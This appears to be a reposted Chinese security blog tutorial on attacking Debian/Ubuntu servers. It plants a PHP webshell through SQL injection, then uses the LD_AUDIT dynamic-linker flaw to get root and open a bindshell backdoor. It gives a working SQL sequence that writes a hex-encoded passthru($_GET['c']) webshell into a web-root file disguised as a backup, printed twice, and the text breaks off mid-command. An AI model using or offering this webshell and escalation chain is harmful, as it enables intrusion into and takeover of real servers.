虽然现在Ubuntu已经出到14.04 LTS,但是国外的攻击思路一直比我大天朝先进2、3年,这篇文章所演示的漏洞到现在仍是有借鉴意义的。
Ubuntu 是基于Debian GNU/Linux,所以大便….咳咳…..Debian系的Linux发行版本或多或少都会有以下的漏洞,所以攻击思路适用与大部分的发行版。话不多说,将接下去就让我们进入紧张刺激的攻防实战吧!
———
| 关于漏洞 |
———
Debian/Ubuntu 远程提权漏洞 ,基于GNU dynamic linker DSO漏洞(也就是那个GNU C动态链接库 LD_AUDIT任意DSO加载漏洞,详细漏洞信息参见 http://www.exploit-db.com/exploits/15304/).应该在其他的Linux同时期的发行版上都会出现这个问题(注:发行日期《=2011年).
——-
| 背景 |
——-
本文的攻击思路不是通过user/nobody权限的webshell直接修改 /etc/passwd或是利用suidshell 提权哦。而是通过DSO 漏洞,我们能够直接利用root账号来执行命令,然后利用root身份来建立socket来做出一个bindshell后门.
———-
| 正文开始 |
———-
通过SQL注入或是上传漏洞你拿到了一个PHP的Webshell.一个最经典的拿Webshell方法是通过数据库outfile来获取. 可以利用的后门为 passthru($_GET[‘c’]); ?> 。(哇塞,外国佬的一句话是这样的!passthru函数类似 Exec() 用来执行 command 指令)
可以利用的SQL语句如下(鄙视,他说得倒容易,outfile至少要三个条件:一、目录能写能执行二、数据库用户高权限三、找得到网站的绝对路径。其中第二点是硬伤——91ri.org小编不屑地注)
—————————————————————–
Default
DROP TABLE IF EXISTS `fm`;
CREATE TABLE `fm` (
`fm` longblob
) TYPE=MyISAM;
insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';
drop table fm;
flush logs;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DROPTABLEIFEXISTS`fm`;
CREATETABLE`fm`(
`fm`longblob
)TYPE=MyISAM;
insertintofm(fm)values(0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
selectfmfromfmintodumpfile'/opt/lampp/htdocs/xampp_b